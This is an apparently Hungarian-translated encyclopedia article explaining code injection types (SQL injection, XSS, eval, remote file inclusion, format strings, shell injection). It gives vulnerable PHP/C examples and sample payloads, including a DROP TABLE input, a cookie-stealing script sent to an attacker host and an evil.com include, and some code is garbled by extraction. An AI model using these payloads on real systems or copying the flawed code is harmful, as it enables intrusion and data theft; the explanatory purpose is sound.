SQL injectionEdit
Az SQL injekció az SQL szintaxisát használja ki olyan parancsok befecskendezésére, amelyekkel olvasni vagy módosítani lehet egy adatbázist, vagy veszélyeztetni az eredeti lekérdezés értelmét.
Vegyünk például egy olyan weboldalt, amelynek két mezője lehetővé teszi a felhasználók számára egy felhasználónév és egy jelszó megadását. Az oldal mögötti kód egy SQL-lekérdezést generál a jelszó és a felhasználónevek listájának összevetésére:
SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'Password'
Ha ez a lekérdezés bármilyen sort visszaad, akkor a hozzáférés engedélyezett. Ha azonban a rosszindulatú felhasználó érvényes felhasználónevet ad meg, és valamilyen érvényes kódot (password' OR '1'='1
) ad be a Jelszó mezőbe, akkor a kapott lekérdezés így fog kinézni:
SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'password' OR '1'='1'
A fenti példában a “Jelszó” feltételezhetően üres vagy valamilyen ártalmatlan karakterlánc. A “'1'='1'
” mindig igaz lesz, és sok sor fog visszakerülni, ami lehetővé teszi a hozzáférést.
A technika finomítható, hogy több utasítás fusson, vagy akár külső programokat töltsön be és futtasson.
Tegyük fel, hogy egy lekérdezés a következő formátumú:
SELECT User.UserIDFROM UserWHERE User.UserID = ' " + UserID + " 'AND User.Pwd = ' " + Password + " '
Ha egy ellenfélnek a következők a bemenetei:
UserID: ';DROP TABLE User; --'
Password: 'OR"='
a lekérdezést úgy elemzi, hogy:
SELECT User.UserIDFROM UserWHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='
Az eredmény az, hogy a User
táblát eltávolítja az adatbázisból. Ez azért következik be, mert a ;
szimbólum egy parancs végét és egy új kezdetét jelzi. A --
egy megjegyzés kezdetét jelzi.
Cross-site scriptingSzerkesztés
A kódbefecskendezés kód rosszindulatú befecskendezése vagy bevezetése egy alkalmazásba. Néhány webkiszolgáló rendelkezik vendégkönyv-szkripttel, amely kis üzeneteket fogad el a felhasználóktól, és jellemzően olyan üzeneteket kap, mint:
Very nice site!
Egy rosszindulatú személy azonban tudhat a vendégkönyvben lévő kódinjektálási sebezhetőségről, és olyan üzenetet ír be, mint:
Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>
Ha egy másik felhasználó megnézi az oldalt, akkor a bejuttatott kód végrehajtásra kerül. Ez a kód lehetővé teheti a támadó számára, hogy egy másik felhasználónak adja ki magát. Azonban ugyanezt a szoftverhibát véletlenül egy szerény felhasználó is kiválthatja, aminek hatására a weboldal rossz HTML-kódot jelenít meg.
A HTML- és szkriptinjekció egy népszerű téma, amelyet általában “cross-site scripting”-nek vagy “XSS”-nek neveznek. Az XSS olyan injekciós hibára utal, amelynek során a felhasználó által egy webszkriptbe vagy valami hasonlóba bevitt adatok kerülnek a kimeneti HTML-be, anélkül, hogy a HTML-kód vagy a szkriptek ellenőrzése megtörténne.
Ezek a problémák nagy része azzal kapcsolatos, hogy tévesen feltételezik, milyen bemeneti adatok lehetségesek, vagy milyen hatásai vannak a speciális adatoknak.
Dinamikus kiértékelési sebezhetőségekSzerkesztés
Egy eval()
injekciós sebezhetőség akkor lép fel, ha a támadó képes egy eval()
függvényhívásba táplált bemeneti karakterlánc egészét vagy egy részét ellenőrizni.
$myvar = 'somevalue';$x = $_GET;eval('$myvar = ' . $x . ';');
A “eval
” argumentum PHP-ként kerül feldolgozásra, így további parancsok csatolhatók. Ha például az “arg” értéke “10; system('/bin/echo uh-oh')
“, akkor további kód fut le, amely egy programot hajt végre a szerveren, ebben az esetben “/bin/echo
“.
Object injectionEdit
A PHP lehetővé teszi egész objektumok szerializálását és deserializálását. Ha a deserializációs funkcióba nem megbízható bemenetet engednek be, akkor lehetséges a programban meglévő osztályok felülírása és rosszindulatú támadások végrehajtása. Ilyen támadást a Joomla ellen 2013-ban találtak.
Távoli fájlbefecskendezésSzerkesztés
Nézzük ezt a PHP programot (amely egy kérés által megadott fájlt tartalmaz):
<?php$color = 'blue';if (isset($_GET)) $color = $_GET;require($color . '.php');
A példát úgy lehet olvasni, hogy csak olyan színes fájlokat lehet betölteni, mint a blue.php
és red.php
, miközben a támadók megadhatják a COLOR=http://evil.com/exploit
-et, ami a PHP-t a külső fájl betöltésére készteti.
Format specifikáló injekcióSzerkesztés
A formázott karakterlánc hibák leggyakrabban akkor jelennek meg, amikor a programozó a felhasználó által megadott adatokat tartalmazó karakterláncot kíván kiírni. A programozó tévedésből printf(buffer)
-t írhat printf("%s", buffer)
helyett. Az első verzió a buffer
értéket formázó karakterláncnak értelmezi, és elemzi az esetlegesen benne lévő formázási utasításokat. A második változat egyszerűen kiír egy sztringet a képernyőre, ahogyan a programozó tervezte.Tekintsük a következő rövid C programot, amelynek van egy helyi változója char tömb password
, amely egy jelszót tartalmaz; a program egy egész számot és egy sztringet kér a felhasználótól, majd visszhangozza a felhasználó által megadott sztringet.
char user_input; int int_in; char password = "Password1"; printf("Enter an integer\n"); scanf("%d", &int_in); printf("Please enter a string\n"); fgets(user_input, sizeof(user_input), stdin); printf(user_input); // Safe version is: printf("%s", user_input); printf("\n"); return 0;
Ha a felhasználói bemenet egy formátummeghatározó listával van feltöltve, például %s%s%s%s%s%s%s%s
, akkor printf()
kezdi olvasni a veremről. Végül az egyik %s
formátummeghatározó hozzáfér a password
címéhez, amely a veremben van, és Password1
-t ír ki a képernyőre.
Shell injectionEdit
A shell injection (vagy command injection) a Unix shell-ekről kapta a nevét, de a legtöbb olyan rendszerre vonatkozik, amely lehetővé teszi a szoftverek számára a parancssor programozott végrehajtását. Íme egy példa sebezhető tcsh szkriptre:
#!/bin/tcsh# check arg outputs it matches if arg is one if ( == 1) echo it matches
Ha a fenti parancsot a ./check
futtatható fájlban tároljuk, akkor a ./check " 1 ) evil"
shell parancs a evil
injektált shell parancsot próbálja meg végrehajtani ahelyett, hogy az argumentumot összehasonlítaná az állandóval. Itt a támadás alatt álló kód az a kód, amelyik megpróbálja ellenőrizni a paramétert, éppen az a kód, amelyik esetleg megpróbálta volna érvényesíteni a paramétert, hogy védekezzen a támadás ellen.
Minden olyan függvény, amely egy héjparancs összeállítására és futtatására használható, potenciális eszköz egy héjinjekciós támadás indítására. Ezek közé tartozik a system()
, StartProcess()
és System.Diagnostics.Process.Start()
.
A kliens-kiszolgáló rendszerek, például a webböngésző webkiszolgálókkal való interakciója potenciálisan sebezhető a shell injekcióval szemben. Tekintsük a következő rövid PHP programot, amely egy webkiszolgálón futtatható, hogy egy funnytext
nevű külső programot futtasson, hogy a felhasználó által küldött szót valamilyen más szóval helyettesítse.
<?phppassthru("/bin/funnytext " . $_GET);
A fenti passthru
egy héjparancsot állít össze, amelyet aztán a webkiszolgáló végrehajt. Mivel az általa összeállított parancs egy része a webböngésző által megadott URL-ből származik, ez lehetővé teszi, hogy az URL-be rosszindulatú shell-parancsokat juttasson be. Ebbe a programba többféleképpen lehet kódot beszúrni a különböző shell funkciók szintaxisát kihasználva (a lista nem teljes):
Shell funkció | USER_INPUT érték |
Eredményes shell parancs | Magyarázat |
---|---|---|---|
Soros végrehajtás | ; malicious_command |
/bin/funnytext ; malicious_command |
Elvégzi funnytext , majd végrehajtja malicious_command . |
Pipeline | | malicious_command |
/bin/funnytext | malicious_command |
A funnytext kimenetét küldi bemenetként malicious_command -nek. |
Parancshelyettesítés | `malicious_command` |
/bin/funnytext `malicious_command` |
A malicious_command kimenetét küldi argumentumként funnytext -nak. |
Parancshelyettesítés | $(malicious_command) |
/bin/funnytext $(malicious_command) |
Az malicious_command kimenetét küldi argumentumként a funnytext -nak. |
AND list | && malicious_command |
/bin/funnytext && malicious_command |
Elvégzi a malicious_command parancsot, ha a funnytext 0 (sikeres) kilépési állapotot ad vissza. |
OR list | || malicious_command |
/bin/funnytext || malicious_command |
Futtatja malicious_command haff funnytext nem nulla kilépési állapotot ad vissza (hiba). |
Kimeneti átirányítás | > ~/.bashrc |
/bin/funnytext > ~/.bashrc |
A .bashrc fájl tartalmát felülírja a funnytext kimenetével. |
Bemeneti átirányítás | < ~/.bashrc |
/bin/funnytext < ~/.bashrc |
A .bashrc fájl tartalmát küldi bemenetként a funnytext -nak. |
Néhány nyelv kínál funkciókat a héjparancsok felépítéséhez használt karakterláncok megfelelő elkerülésére vagy idézőjelbe helyezésére:
- PHP:
escapeshellarg()
ésescapeshellcmd()
- Python:
shlex.quote()
Ez azonban még mindig a programozókra hárítja azt a terhet, hogy ismerjék/tanulják ezeket a függvényeket, és ne felejtsék el használni őket minden alkalommal, amikor shell parancsokat használnak. E függvények használata mellett a felhasználói bemenet validálása vagy szanálása is ajánlott.
A biztonságosabb alternatíva olyan API-k használata, amelyek közvetlenül külső programokat hajtanak végre, nem pedig shell-en keresztül, így megelőzhető a shell injekció lehetősége. Ezek az API-k azonban általában nem támogatják a héjak különböző kényelmi funkcióit, és/vagy a tömör shell-szintaxishoz képest nehézkesebbek/szövevényesebbek.